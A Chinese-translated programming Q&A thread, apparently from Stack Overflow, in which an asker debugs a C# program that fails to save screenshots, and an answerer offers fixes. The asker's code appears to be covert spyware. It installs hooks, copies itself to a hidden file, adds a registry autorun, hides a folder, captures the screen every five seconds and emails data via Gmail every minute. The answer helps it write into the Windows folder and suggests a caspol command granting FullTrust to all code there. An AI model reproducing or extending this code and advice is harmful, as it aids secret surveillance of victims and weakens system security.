我正在尝试让我的应用程序截取屏幕截图并将其保存在文件夹中,但是除了将屏幕截图保存到文件夹中之外,一切正常。
编辑:以管理员身份运行
编辑2:更改为文档后,文件夹已创建但仍未保存任何屏幕截图。仍然没有错误..
编辑3:
我解决了我的问题,我想我的两个计时器互相干扰了.. 好吧,..
我在两个计时器中都有这个位置。一旦我评论它,它工作正常。例如,参见代码。
Hook();
if (File.Exists(dest) == false)
{
File.Copy(StartupPath(), dest, true);
File.SetAttributes(dest, FileAttributes.Hidden);
AddToReg();
}
if (Directory.Exists(fsc) == false)
{
DirectoryInfo di = Directory.CreateDirectory(fsc);
di.Attributes = FileAttributes.Directory | FileAttributes.Hidden;
}
System.Timers.Timer myTimer = new System.Timers.Timer();
myTimer.Elapsed += new ElapsedEventHandler(Program.sendEMailThroughGmail);
myTimer.Interval = 60000; //30 mins 1800000
myTimer.Enabled = true;
myTimer.AutoReset = true;
myTimer.Start();
//Application.Run();
GC.KeepAlive(myTimer);
System.Timers.Timer scTimer = new System.Timers.Timer();
scTimer.Elapsed += new ElapsedEventHandler(Program.Screenshot);
scTimer.Interval = 5000;
scTimer.Enabled = true;
scTimer.AutoReset = true;
scTimer.Start();
Application.Run();
GC.KeepAlive(scTimer);
UnHook();
仍然存在无法将文件保存到Windows文件夹的问题。
更新了活动
public static void Screenshot(Object source, ElapsedEventArgs e)
{
Random random = new Random();
try
{
Bitmap bmp = new Bitmap(Screen.PrimaryScreen.Bounds.Width, Screen.PrimaryScreen.Bounds.Height);
using (Graphics g = Graphics.FromImage(bmp))
{
int number = random.Next(1000000);
int screenwidth = Screen.GetBounds(new Point(0, 0)).Width;
int screenheight = Screen.GetBounds(new Point(0, 0)).Height;
g.CopyFromScreen(0, 0, 0, 0, new Size(screenwidth, screenheight));
bmp.Save(fsc + number + ".jpg", ImageFormat.Jpeg);
Console.WriteLine("Saved image" + number);
}
}
catch (Exception ep)
{
Console.WriteLine("failed to capture screenshot with the following error:");
Console.WriteLine(ep.Message);
}
}
现在创建并保存屏幕截图到我的文档中的文件夹。
谢谢!
仍然希望能够将文件夹和文件保存在Windows文件夹中,但是这可能是一个更大的问题,那时我已经准备好处理了。
答案 0 :(得分:0)
我尝试了你的代码(.net 4.6,windows 7),我收到错误(在catch块中捕获)“GDI +中发生了一般错误。”那个字符串连接(number + ".jpg
部分)对我来说有点怀疑,所以我尝试了几件事:
1)确保目标文件夹存在然后写入(代码有点冗长,但我希望它更容易理解):
//after gfx.CopyFromScreen....
string destinationPath = @"c:\windows\screenshots";
string destinationFileName = string.Format("{0}.{1}", number, "jpg");
if (!Directory.Exists(destinationPath))
Directory.CreateDirectory(destinationPath);
string destinationFileAndPath = Path.Combine(destinationPath, destinationFileName);
bmpScreenshot.Save(destinationFileAndPath, ImageFormat.Jpeg);
2)尝试保存到应用程序的启动文件夹。
//after gfx.CopyFromScreen....
string destinationFileName = string.Format("{0}.{1}", number, "jpg");
string destinationFileAndPath = Path.Combine(Application.StartupPath, destinationFileName);
bmpScreenshot.Save(destinationFileAndPath, ImageFormat.Jpeg);
这两种解决方案都适合我。
我无法重现您的方案,但我猜测bitmap.Save
(由于某种原因)无法写入指定的文件夹。或者也许该文件夹不存在:)
还有第三种可能的解决方案 - 允许在计算机上执行所有代码以解决所有安全问题。
导航到Start -> Visual Studio 2015 -> Visual Studio Tools -> Developer Command Prompt
并执行以下命令:
caspol -u -ag All_Code -url c:\windows\* FullTrust
之后,重新启动应用程序(或者您的计算机),然后重试。 再一次,这些都是猜测,但也许有些东西可以帮助你。